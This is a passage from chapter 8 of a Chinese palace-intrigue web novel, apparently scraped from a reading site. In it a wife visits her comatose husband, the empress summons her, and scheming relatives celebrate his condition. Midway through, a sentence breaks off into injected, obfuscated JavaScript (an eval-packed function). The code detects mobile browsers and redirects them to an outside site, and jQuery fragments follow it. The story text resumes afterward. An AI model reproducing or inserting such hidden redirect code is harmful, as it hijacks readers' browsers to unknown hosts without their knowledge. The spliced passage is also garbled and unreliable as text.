8. 第 8 章

作品:《冷落我五年的夫君成了植物人

    这话说出来,徐素湘自己先红了耳朵。


    她不是真的要扒他衣服,是催院使提议的刺激一下裴放或许能有转机,徐素湘觉得,以裴放的性子,若是他清醒时听见自己这句话,定是要见鬼似的退出丈远。


    然而现在裴放一动不动地躺着,对这句话半点反应也没有。


    前两天还活蹦乱跳的人转眼就成了这副半死不活的样子,徐素湘感慨起命运无常,叹了口气,继续。


    “林嬷嬷让我给你纳妾,我同意了。”


    她顿了顿,偏过头看他:“只是不知道,你喜欢什么样的女子?”


    “反正,总不会是我这样的。”徐素湘自嘲一笑,“那我就照着和我相反的找,你要是高兴,就赶紧醒来吧。”


    裴放连眼皮都没动一下,徐素湘捏着帕子,咬牙说道:“你要是一直这样不醒,我如何能改嫁,你这个骗子!”


    她胸口起伏着,这句话声音虽低,却带出了她心里三分怨怼。


    片刻之后,徐素湘平静地看着榻上的裴放,她挺直了背离他远了些,然后站起身叫了青松进来。


    她试过了,也知道了裴放大概是醒不过来了。


    “你好好照顾侯爷。”她嘱咐青松,想要再多交代两句,却又不知道该说些什么。


    催院使和太医们还要再试试,她总不好就这样放弃把人带回家去。


    徐素湘满腹心事地从太医院出来,迎面就看见个穿着藕荷色宫裙的女使候在那里,见了徐素湘她恭恭敬敬行了一礼,说道:“见过武安侯夫人,皇后娘娘有请夫人到长秋宫叙话。”


    徐素湘有些诧异,她虽不是第一次面见皇后,但也从未有过被皇后娘娘单独召见的机会,有心想问一问那女使皇后娘娘见她是为了什么事,转念一想,除了裴放救驾一事,皇后实在没有什么好见她的了。


    毕竟,在一堆命妇贵女堆里,徐素湘一向属于不起眼的那一类,姿色不错但在美人云集的京城里却不拔尖,没有让人印象深刻的一技之长,名声不好不坏,也不刻意结交上面的贵人,规规矩矩不行差踏错的很引不起皇后的注意。


    她唯一能被这些官眷们议论的,也只有裴放迎娶她五年始终都不曾纳妾一事了。


    三年前礼王宴客时送过一个美婢给裴放,裴放竟当场就拒了,说是成婚才两年与爱妻正是蜜里调油的时候,不愿有旁的女子令发妻伤心,一番婆婆妈妈的言论求了礼王另给赏赐。


    当时同僚们都笑裴放窝囊,是个怕婆娘的妻管严,裴放不觉羞愧反而纠正同僚:“家中妻贤,裴某并非惧她,而是心中爱重。”


    这一句话不知惹得京城多少女子羡慕徐素湘,后来裴放五年不纳妾,他们这对侯门夫妻直接成了人们口中“伉俪情深”的典范。


    想起裴放家里一个样,外面一个样,徐素湘就恨得牙痒痒。


    蜜里调油个鬼!他连自己靠他近一些都要不动声色地拉开距离,夫妻之间生疏至此,谈什么伉俪情深?


    她腹诽了一路,始终不曾开口说话,那女使以为她很是沉得住气,将她引至长秋宫大殿时还颇为赞赏地看了她一眼。


    徐素湘接收到她的眼神,心中冒出一个大大的问号。


    大殿内皇后一身雍容华贵端坐在凤椅上,免了徐素湘的跪拜礼,又给她赐了座,想起皇帝交代给她的话,心内斟酌了片刻,开口道:“看着是憔悴了不少,这几日难为你了。”


    徐素湘低着头欠身:“臣妇谢皇后娘娘关怀。”


    皇后细细看了她一圈,露出一丝忧虑的神色:“皇上这几日也在为武安侯的病症发愁,太医们虽说尽力,但到底人力有限,唉……”


    这是在提前暗示徐素湘,裴放有可能治不好,但素湘来之前就已经想到了,因而此刻心里并不如何惊讶。


    然而,面上却还是要装一装的,她抬头看了皇后娘娘一眼,而后攥着帕子抚上胸口,低下头道:“臣妇不懂医理,却也知道世上并非所有病症都有法子可医,若真是如此……臣妇只愿守在侯爷身边,能陪他一日是一日。”


    “只是这往后的日子……”徐素湘说到这,带了丝哭腔,真心实意的。


    见她似要哭的样子,皇后又劝道:“你且莫要伤心,催院使正在想办法,未必就治不好了。”


    “本宫知道你与武安侯情深,他是为了救皇上才受的伤,无论如何,皇上和本宫都该为他负责,你放心,往后侯府的日子一切照旧。”


    有了皇后这句话,徐素湘心中安定不少,哭腔也散了。


    皇后看了身边的女使一眼,那女使立刻退至殿后,过了会儿托着个漆木托盘出来,奉到了徐素湘面前。


    托盘上是一枚莹白润泽的玉牌,上面刻着凤鸟图案,底下穗子上缀着颗鸽血红珠子。


    皇后道:“这玉牌你且拿着,往后若有什么事,可随时到长秋宫来。”


    这是要为她撑腰的意思,徐素湘获了意外之喜,连忙起身谢恩。


    皇后又说了些安抚她的话,这才放她去了。


    徐素湘出了长秋宫由着另一位女使引至宫门口,正要出宫门,迎面来了一行人,为首之人穿的是团龙石青色补服,身后跟着几个武将。


    徐素湘和女使立刻停下,朝来人敛衽行礼。


    素湘匆匆瞥了一眼,认出来他是礼王,当年给裴放送美婢的那个。


    双方擦肩而过,徐素湘谢过女使,出宫寻了自家马车。


    礼王走出一段,忽然回过头看向徐素湘的方向,他身旁有人认出了徐素湘,说道:“是武安侯的家眷。”


    礼王看向那人:“武安侯还没醒?”


    “没呢!听说有可能永远也醒不来了。”


    礼王听了,不动声色地回头。


    “醒不了,也是天意。”


    徐素湘扶着红菱的手上了马车,并未注意到身后的视线,才在车厢内坐稳,就打了个喷嚏。


    碧兰关切道:“夫人可别是着了凉?”


    “今天日头好,没觉得冷呀。”徐素湘揉了揉鼻子,觉得大概率是有人在背后骂她。


    她的直觉向来很准,此时此刻姚府的后院中季氏正和姚家舅老爷数落徐素湘的不是。


    “她一个乡野之地长大的毛丫头,也敢这么拂我的面子,我好歹是她的长辈呢,竟然连门都没让我进去!”


    季氏说的唾沫横飞,姚大人把手里的茶碗重重放下,季氏拔高的声音瞬间就歇了下去。


    “老爷……”她弱弱唤了一声,站起身来往后退了一步。


    姚大人睨她一眼:“出的馊主意,姚家的脸都被你丢尽了!”


    他不过中午回家吃个饭,季氏就给他递上这么个烂消息。他是想和武安侯府重归于好没错,但不是用这么丢人的方式,身为姚家当家主母、裴放的亲舅母,就这么被人晾在门口连礼都没送出去,传出去旁人也只会说姚家人上赶着热脸贴侯府的冷屁股。


    原想着时不时托亲戚同僚从中说和一下,既展现姚家的态度,也能端着他身为舅父的架子,更重要的是通过旁人的议论对裴放施压,时间一长,裴放淡忘了当年的事,态度说不定就软了,如今被季氏这么一搅,他再想求和,就真成了笑柄了。


    他指着季氏,骂道:“你可真是,成事不足败事有余!”


    他现在被贬为礼部郎中,官职看着比裴放高了半级,奈何当今圣上早看他不顺眼,升迁已是无望,而裴放正年轻,又有世袭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496686|170225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的爵位,未来前途不可限量,他自己的儿子已经是靠不住,再不和裴放修复关系,等他坐大,说不好就要回头来收拾他这个亲舅舅了。


    以裴放那个冷心冷情的性子,姚大人相信他定是做得出来的。


    如今未雨绸缪不成,姚大人却并没太多愁容,他对着季氏冷哼一声:“往后不用再想着巴结侯府了!”


    季氏瞅着老爷并没有多生气,鼓起勇气上前给他添了杯茶,问道:“这是怎么说?”


    “今日听同僚说起,裴放大概是醒不过来了。”姚大人摸了摸自己的八字胡须,眉头舒展开来,“真是人算不如天算啊!”


    “当真?!”季氏是个喜怒形于色的人,脸上当即绽开了笑容。


    见老爷饮了她的茶,季氏就知道,这事八九不离十了。她当即传了午饭,亲自服侍老爷用餐,等着他去了书房,这才松了口气。


    “来人,去梨香居告诉四姑娘一声,不用她跪着了。”


    门外一个婆子应声去了,顺着穿堂绕过一片竹林,一路到了四姑娘的住处,院子里静悄悄的,连午饭都没摆,四姑娘姚采薇正在自己屋里罚跪,两个丫头在门外守着,见了周婆子忙唬的迎了上去。


    “周妈妈怎么来了?”


    丫头们的声音传进屋里,姚采薇跪在观音娘娘画像前默默挺直了脊背。


    季氏今日从侯府回来就发了一场脾气,她缩在自己的小院里到底没敢往嫡母跟前凑,奈何季氏素来对她不喜,因着当年她姨娘害她引产了一个男胎,此后再难有孕,季氏虽处置了姨娘却仍将一腔怨恨发泄在了她身上,十几年来有事无事总要磋磨她一场。


    今日也不例外,她虽没主动往跟前凑,但架不住嫡母气势汹汹来她院里立规矩,见她在房中练字,纸上写有“枯”、“荣”二字,立时便发作起来,指着鼻子骂她诅咒她的荣哥儿。


    大哥姚正荣屡试不中的理由全归到了她身上,骂过还不解气,又命她向着观音娘娘像跪上一天以赎自己的恶念。


    恶念?


    姚采薇抬眸看着小时候嫡母送她的这幅观音像,那眉眼的慈悲下藏着的恶不比她心中的可怖?


    “吱呀”一声,房门被人推开,周妈妈健硕的身躯挡住了泰半的日光,漏下一半照在了画像上,姚采薇眯了眯眼,没有回头。


    “四姑娘,太太说,您可以起来了。”周妈妈福了福身,语气里没有对主子该有的那份尊重,“太太还让我给您带句话。”


    姚采薇动了动,身后两个丫头连忙上前去搀她,跪了一个多时辰,她几乎要站不住。


    好不容易忍着膝盖的酸痛站稳,姚采薇颤颤地转身,看向周妈妈:“什么话?”


    饶是看惯了眼前这张脸,周妈妈还是被她这姣好的容貌迷了一下。肤如凝脂眉若春山,瞳如秋水唇若丹霞,说的就是府上这位四姑娘了,那汪着冷泉般的眼睛盈盈望过来,教人如饮美酒,令人陶醉。


    周妈妈晃了晃神,反应过来:“太太说,武安侯醒不过来了,姑娘的那些盘算趁早打消,等着太太给您寻一门合适的姻缘。”


    她说话时着重了“合适”二字,说完看了眼四姑娘,见她没什么反应,周妈妈便自觉退下,赶着去给季氏回话。


    她一走,阳光就顺势落在了姚采薇半边身子上,站了片刻,两个丫头要扶她去一旁坐着,姚采薇轻轻挣开了二人的手:“都出去吧。”


    丫头们互望了一眼,乖觉地退了出去,房门掩上,屋里再次陷入昏暗。


    姚采薇缓缓转身,视线又投在那幅观音画像上,不知不觉,一只眼睛里沁出一滴泪来。


    她的声音柔得像一把细沙:“表哥,你看,心太狠果真是要遭雷劈的。”